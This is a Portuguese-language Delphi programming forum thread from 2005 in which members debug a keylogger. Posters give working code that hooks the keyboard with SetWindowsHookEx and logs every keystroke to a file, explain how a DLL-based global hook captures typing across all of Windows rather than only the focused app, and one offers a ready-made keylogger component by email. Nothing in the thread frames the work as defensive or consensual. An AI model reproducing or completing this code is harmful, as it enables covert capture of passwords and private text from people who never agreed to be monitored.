GARANTIR DESCONTO

Fórum Duvida Angustiante (Keylooger) #277609

17/04/2005

0

Bom, utilizando o exemplo da pagina do clube, fiz algumas modificações no Keylogger. Porém ocorre um erro, aqui vai o codigo ja com as modificações:

var
  Form1: TForm1;
  arq: textfile;
  idKeyLog : HHOOK;
  KeylogHookProc : FARPROC;
implementation

{$R *.DFM}
function tform1.KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
  tecla:String[255];
  b1,b2: boolean;
begin
case wParam of
        VK_SHIFT, VK_CAPITAL, VK_MENU:begin
          //ignore estas teclas
        end;
        VK_BACK:begin
          Write(Arq,´[BKSP]´);
        end;
        VK_TAB:begin
          Write(Arq,´[TAB]´);
        end;
        VK_RETURN:begin
          WriteLN(Arq,´[ENTER]´);
        end;
        VK_ESCAPE:begin
          Write(Arq,´[ESC]´);
        end;
        32..64:begin
          Write(Arq,chr(Byte(wParam)));
        end;
        65..90:begin// todas as letras
          b1:=GetKeyState(VK_SHIFT)<0;  // verifica se o Shift está pressionado
          b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
          if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
            Write(Arq,chr(Byte(wParam+32))) // coloca em minusculo
          else
            Write(Arq,chr(Byte(wParam)));
        end;
        VK_NUMPAD0..VK_NUMPAD9:begin
          Write(Arq,chr(Byte(wParam-VK_NUMPAD0+48)));
        end;
        else begin
          tecla:=´´;
          GetKeyNameText(LParam,@tecla[1],254);
          Write(Arq,´[´+tecla+´]´);
        end;
      end;
  Flush(Arq);
  Result:=CallNextHookEx(HHOOK(nil), code, wParam, lParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  assignfile (arq,´c:/keys.txt´);
  if fileexists(´c:/keys.txt´) then
    Append(Arq)
  else
    ReWrite(Arq);
  idKeylog:=SetWindowsHookEx(WH_KEYBOARD,KeylogHookProc,null,0);
-->   KeyboardProc(code:integer;wParam:WPARAM;lParam:LPARAM);  <--
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  UnhookWindowsHookEx(idKeyLog);
end;

end.


Na linha marcada com --> <-- o compilador acusa [color=red:250e23a59c]´[Error] kl.pas(79): Undeclared identifier: ´code´[/color:250e23a59c].

Ja tentei de tudo mas não consigo consertar este erro.
Desde já agradeço a ajuda.


Fernando Lempê

Fernando Lempê

Responder

Posts

17/04/2005

Marco Salles

utilizando o exemplo da pagina do clube, fiz algumas modificações


Amigo, voce poderia por gentieza , nos mostrar o ´Caminho´ desse Exemplo.. Para podermos fazer uma analogia com suas alterações


Responder

Gostei + 0

18/04/2005

Fernando Lempê

[url]http://www.clubedelphi.net/aplicativos/keylogger.zip[/url]

Eu modifiquei o programa afim de não usar a DLL externa que o original usa.

Pretendo deixar toda codificação dentro de uma só unit.


Responder

Gostei + 0

18/04/2005

Emerson Nascimento

creio que essa linha deveria ser excluída.


Responder

Gostei + 0

18/04/2005

Fernando Lempê

Essa é a linha principal do porgrama, onde faz a chamada a função que vai gravar as teclas.
Acho que não seria a solução excluí-la.


Responder

Gostei + 0

18/04/2005

Emerson Nascimento

quando voçê tem um HOOK (gancho) , não é necessário ´chamar´ a função. Ela funciona como um evento, sendo disparada automaticamente. Eu fiz uma pequena adaptação. Complete para tornar funcional.

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    idKeyLog : HHOOK;
    arq: textfile;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;

implementation

{$R *.dfm}

function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
  tecla:String[255];
  b1,b2: boolean;
begin
  if code < 0 then
     Result:=CallNextHookEx(Form1.idKeylog, code, wParam, lParam)
  else
  begin
    case lParam of
      KF_ALTDOWN: Write(Form1.Arq,´[ALT]´);
    end;

    case wParam of
          VK_SHIFT, VK_CAPITAL, VK_MENU:begin
            //ignore estas teclas
          end;
          VK_BACK:begin
            Write(Form1.Arq,´[BKSP]´);
          end;
          VK_TAB:begin
            Write(Form1.Arq,´[TAB]´);
          end;
          VK_RETURN:begin
            WriteLN(Form1.Arq,´[ENTER]´);
          end;
          VK_ESCAPE:begin
            Write(Form1.Arq,´[ESC]´);
          end;
          32..64:begin
            Write(Form1.Arq,chr(Byte(wParam)));
          end;
          65..90:begin// todas as letras
            b1:=GetKeyState(VK_SHIFT)<0;  // verifica se o Shift está pressionado
            b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
            if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
              Write(Form1.Arq,chr(Byte(wParam+32))) // coloca em minusculo
            else
              Write(Form1.Arq,chr(Byte(wParam)));
          end;
          VK_NUMPAD0..VK_NUMPAD9:begin
            Write(Form1.Arq,chr(Byte(wParam)));
          end;
          else begin
            tecla:=´´;
            GetKeyNameText(LParam,@tecla[1],254);
            Write(Form1.Arq,´[´+tecla+´]´);
          end;
    end;
    Flush(Form1.Arq);
    result := 0;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  assignfile (arq,´c:/keys.txt´);
  if fileexists(´c:/keys.txt´)
  then Append(Arq)
  else ReWrite(Arq);

  idKeylog := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hInstance,0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnhookWindowsHookEx(idKeyLog);
  CloseFile(Arq);
end;



Responder

Gostei + 0

19/04/2005

Fernando Lempê

procedure TForm1.FormCreate(Sender: TObject);
begin
  assignfile (arq,´c:/keys.txt´);
  if fileexists(´c:/keys.txt´) then
     Append(Arq)
  else
     ReWrite(Arq);
***  idKeylog := SetWindowsHookEx (WH_KEYBOARD,KeyboardProc,HInstance,0); ***
end;


:(

Mesmo utilizando a correção agora um novo erro ocorre na linha com ***

[color=red:a77791ba2d][Error] Ukl.pas(89): Incompatible types: regular procedure and method pointer[/color:a77791ba2d]


Responder

Gostei + 0

19/04/2005

Emerson Nascimento

preste atenção na declaração da função que eu passei.
o correto é:
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
não está ligada ao formulário. Está declarada fora da declaração do formulário.

reveja todo o código.


Responder

Gostei + 0

19/04/2005

Kapak

O segundo parâmetro é um ponteiro p/ a função.
A chamada correta seria:
SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, GetCurrentThreadId);

Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo.

ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.


Responder

Gostei + 0

20/04/2005

Fernando Lempê

Gostaria de agradecer a colaboração do amigo [color=red:919003835a]emerson.en[/color:919003835a] em especial. O código funcionou perfeitamente.

Agora o problema do keylogger está resolvido, podemos usar este tópico como referencia.


Responder

Gostei + 0

20/04/2005

Emerson Nascimento

eu tenho um componente bem simples para essa finalidade. não o postei antes para que o problema do nosso colega fosse resolvido.

quem quiser o componente é só falar.
solicitem no email emerson.en@ig.com.br


Responder

Gostei + 0

23/04/2005

Christian_adriano

kapak Escreveu:
Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo. 

ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.


kapak, para eu resolver esse problema é só eu declarar

var
.........
........
idKeyLog : HHOOK;

É isso ?

Grato.

Christian.


Responder

Gostei + 0

25/04/2005

Kapak

Que problema ?


Responder

Gostei + 0

26/04/2005

Christian_adriano

kapak,

O problema da aplicação não funcionar em segundo plano, ou seja, ela só funciona quando ela esta em foco. E se não me engano a sua resposta foi a respeito disso. Mais não consegui fazer funcionar.


Grato.

T+

Christian.[/list]


Responder

Gostei + 0

18/06/2005

Kapak

Olá, quando vc coloca em dwThreadId a thread principal do seu programa, vc diz ao Windows p/ enviar msgs originárias somente da sua aplicação. Para capturar em todo o Windows, vc tem que instalar uma Hook numa dll e deixar dwThreadId = 0. Com isto o Windows envia todas as msgs p/ a dll e dela vc pode informar sua aplicação através de SendMessage.


Responder

Gostei + 0

22/06/2005

Anibaljr77

Já que o hook tb capta as teclas digitadas no windows, estando a minha aplicação em segundo plano, tem como a minha aplicação mostrar uma mensagem após serem digitadas x vezes as teclas no windows???


Responder

Gostei + 0

Utilizamos cookies para fornecer uma melhor experiência para nossos usuários, consulte nossa política de privacidade.

Aceitar